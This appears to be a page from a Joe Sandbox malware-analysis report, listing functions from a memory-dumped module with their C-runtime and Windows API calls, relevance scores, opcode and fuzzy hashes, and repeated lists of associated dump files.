Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleLastSize_strrchr
String ID:
API String ID: 364315698-0
Opcode ID: af8884b4c065feed8bf2bb852c10e90669959fb74fa2726cabe1275900e2e336
Instruction ID: 74afbf81f0663505c08bccf7ace7d8fe6bedfda1b7c448ddfa898f221b9cdef6
Opcode Fuzzy Hash: af8884b4c065feed8bf2bb852c10e90669959fb74fa2726cabe1275900e2e336
Instruction Fuzzy Hash: 9CE06D32E0912297D6612279B8283AEAAF9FFD13E5B170071F800E7252DF54CC4241D2

Function 6A07EE7F Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6A07EE8B

Part of subcall function 6A087833: __getptd_noexit.LIBCMT ref: 6A087836
Part of subcall function 6A087833: __amsg_exit.LIBCMT ref: 6A087843

Part of subcall function 6A07EE36: __IsNonwritableInCurrentImage.LIBCMT ref: 6A07EE45
Part of subcall function 6A07EE36: __getptd_noexit.LIBCMT ref: 6A07EE55
Part of subcall function 6A07EE36: CloseHandle.KERNEL32(?,?,6A07EEA0), ref: 6A07EE69
Part of subcall function 6A07EE36: __freeptd.LIBCMT ref: 6A07EE70
Part of subcall function 6A07EE36: ExitThread.KERNEL32 ref: 6A07EE78

__XcptFilter.LIBCMT ref: 6A07EEAC

Part of subcall function 6A088C6E: __getptd_noexit.LIBCMT ref: 6A088C76

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __getptd_noexit$CloseCurrentExitFilterHandleImageNonwritableThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 3737419996-0
Opcode ID: 24cbb98922cc27a3cd6475e112f394f7397298ee3c6d7cde1c9b6925304846e9
Instruction ID: da7cffdddfe42653d9e062d97bb5e45092ac0d5a91a82616a8bf0d35b930306b
Opcode Fuzzy Hash: 24cbb98922cc27a3cd6475e112f394f7397298ee3c6d7cde1c9b6925304846e9
Instruction Fuzzy Hash: F5E0ECB5941601DFEB2CDBA0C948FAD7771EF04619F62008DE1025B2A2DF35AD44DA14

Function 6A08C350 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 6A08C368

Part of subcall function 6A087D5D: __mtinitlocknum.LIBCMT ref: 6A087D73
Part of subcall function 6A087D5D: __amsg_exit.LIBCMT ref: 6A087D7F
Part of subcall function 6A087D5D: EnterCriticalSection.KERNEL32(?,?,?,6A091AC7,00000004,6A0A9288,0000000C,6A088E49,?,?,00000000,00000000,00000000,?,6A0877E5,00000001), ref: 6A087D87

__tzset_nolock.LIBCMT ref: 6A08C379

Part of subcall function 6A08BC3B: __lock.LIBCMT ref: 6A08BC5D
Part of subcall function 6A08BC3B: __get_daylight.LIBCMT ref: 6A08BC72
Part of subcall function 6A08BC3B: __invoke_watson.LIBCMT ref: 6A08BC81
Part of subcall function 6A08BC3B: __get_daylight.LIBCMT ref: 6A08BC8D
Part of subcall function 6A08BC3B: __invoke_watson.LIBCMT ref: 6A08BC9C
Part of subcall function 6A08BC3B: __get_daylight.LIBCMT ref: 6A08BCA8
Part of subcall function 6A08BC3B: __invoke_watson.LIBCMT ref: 6A08BCB7
Part of subcall function 6A08BC3B: ____lc_codepage_func.LIBCMT ref: 6A08BCBF
Part of subcall function 6A08BC3B: __getenv_helper_nolock.LIBCMT ref: 6A08BCE1
Part of subcall function 6A08BC3B: _strlen.LIBCMT ref: 6A08BD1F
Part of subcall function 6A08BC3B: __malloc_crt.LIBCMT ref: 6A08BD26
Part of subcall function 6A08BC3B: _strlen.LIBCMT ref: 6A08BD3C

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __get_daylight__invoke_watson$__lock_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock
String ID:
API String ID: 4157481694-0
Opcode ID: a3db71f5e5adf0531cae430da56547b91c87db5f8b50a5e79f28a2e52d0bf786
Instruction ID: 279ee135de8597f46235e511f50eed67da0fa85089fc8706e15032ef250125ef
Opcode Fuzzy Hash: a3db71f5e5adf0531cae430da56547b91c87db5f8b50a5e79f28a2e52d0bf786
Instruction Fuzzy Hash: B8E08CF4881B14D6CF529BA05108B8D75B0AB0AB29F528355E544171C2CF302902CA9D

Function 6A080AEC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 6A080B33

Part of subcall function 6A082DCA: __getptd_noexit.LIBCMT ref: 6A082DCA

Part of subcall function 6A0824F4: __decode_pointer.LIBCMT ref: 6A0824FF

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 3158947991-0
Opcode ID: eff0d7f9657af587d83975806737325d6cacd550f0b6046cce85e4b75cd9a5fc
Instruction ID: d80ee8b1a6b1ace19e8517108365aec8b3506e7e661212608955f80aa21529c2
Opcode Fuzzy Hash: eff0d7f9657af587d83975806737325d6cacd550f0b6046cce85e4b75cd9a5fc
Instruction Fuzzy Hash: 07F0C2F1C06219EBDF11AFA4CC0479E3AB1AF04B18F028954F92457156DF35CA21DB99

Function 6A070164 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11db279af10828f87820f340ebc45ea9235de681bedaa073d615418e4d679f67
Instruction ID: 71368601b63201330beba8f35c48969521f4dc9995d5f9e7d200315e0019aaa0
Opcode Fuzzy Hash: 11db279af10828f87820f340ebc45ea9235de681bedaa073d615418e4d679f67
Instruction Fuzzy Hash: 74E0DF3202C205ABCB304D7C98107CE37EC4B03370B20672AE174C31C0DA72D882AB95

Function 6A06F32B Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6A06F349

Part of subcall function 6A07ED6C: __FF_MSGBANNER.LIBCMT ref: 6A07ED8F
Part of subcall function 6A07ED6C: __NMSG_WRITE.LIBCMT ref: 6A07ED96
Part of subcall function 6A07ED6C: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,6A088DFF,?,00000001,?,?,6A087CE7,00000018,6A0A8F08,0000000C,6A087D78), ref: 6A07EDE3

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: b9be5505210b94182384c8ac628264c7d221c733d015314e3614fd29439c27b9
Instruction ID: b90ce1093ecd70153df09abbf44503bfa11ae18443d2db8e0d08261a4f9289d3
Opcode Fuzzy Hash: b9be5505210b94182384c8ac628264c7d221c733d015314e3614fd29439c27b9
Instruction Fuzzy Hash: 79D01733605536676B299999EC04B9E7BDC9F82BA87065021EA18DB150EF61DC0283D0

Function 6A088854 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,6A08337B,?), ref: 6A088869

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 637a9b29ef3055020a40fa995bc5659f05bc0b1aeedeb93dcf97a51527dc8d3b
Instruction ID: bbc30dbf462ab76ae4caa424dae605435a14be0ee58f4598d8350ed30c883131
Opcode Fuzzy Hash: 637a9b29ef3055020a40fa995bc5659f05bc0b1aeedeb93dcf97a51527dc8d3b
Instruction Fuzzy Hash: 1ED05E72954304EADF005E756908B623BECA389395F104476B90CC6250E675CD40CA04

Function 6A0706F0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(6A0B2A38,?), ref: 6A070719

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ExchangeInterlocked
String ID:
API String ID: 367298776-0
Opcode ID: 2c03de68c649590b362370ed1e917d1077501c9550340d128aac97af9b1a2960
Instruction ID: 887706cf2de98d7d3ef39cacc06aeb7c118705b4e37c8328011c912d44ba860e
Opcode Fuzzy Hash: 2c03de68c649590b362370ed1e917d1077501c9550340d128aac97af9b1a2960
Instruction Fuzzy Hash: B9E08C31904A408FD721AF78A40CA2677E4AF8C3113020969F6A2C3220CF32D8018B54

Function 6A07F2AE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 6A07F2BB

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: b5f1e3f8c0985568a2b975540194b91a49099896255c8aa19d8b1f82aed34cac
Instruction ID: 4d81a1bac76e820fd64cc8c4f473a2512ca888153fc3b9f118e367950ad78c16
Opcode Fuzzy Hash: b5f1e3f8c0985568a2b975540194b91a49099896255c8aa19d8b1f82aed34cac
Instruction Fuzzy Hash: 70C0927244020C77CF211A82EC06F4A3F1E9FC0664F058020FF1C1A161AA73EA61D689

Function 6A080E23 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__make__time64_t.LIBCMT ref: 6A080E2D

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __make__time64_t
String ID:
API String ID: 1242165881-0
Opcode ID: 5f2446f3e75e43e2549ab1216d78344c9aed32879290253eb41c07f426e25a17
Instruction ID: 04aaf8522691102558bcf19a64e7d92b30f79a4863a7f76479dfbc5a0be11dd1
Opcode Fuzzy Hash: 5f2446f3e75e43e2549ab1216d78344c9aed32879290253eb41c07f426e25a17
Instruction Fuzzy Hash: 48B092321483082ADA005989A406E8937888784A28F110001B62C0B1829DA2B8804299

Function 6A0418D0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$__strlwr$CleanupStartupgethostname
String ID:
API String ID: 1657729447-0
Opcode ID: 6faafa5d76316b0f92738c6bdd870a3ceaee526713e88fd9be7274d9c4cef453
Instruction ID: adc0c6da6970f2c713895e755fbc96113d0bf1ae4777b8e5d16f16bf10601e8d
Opcode Fuzzy Hash: 6faafa5d76316b0f92738c6bdd870a3ceaee526713e88fd9be7274d9c4cef453
Instruction Fuzzy Hash: F29004515F145F500D103D7544555344045F151F0F7411FF07053C70C5DF00400D10C0

Function 6A0520B0 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 6A0520F8

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
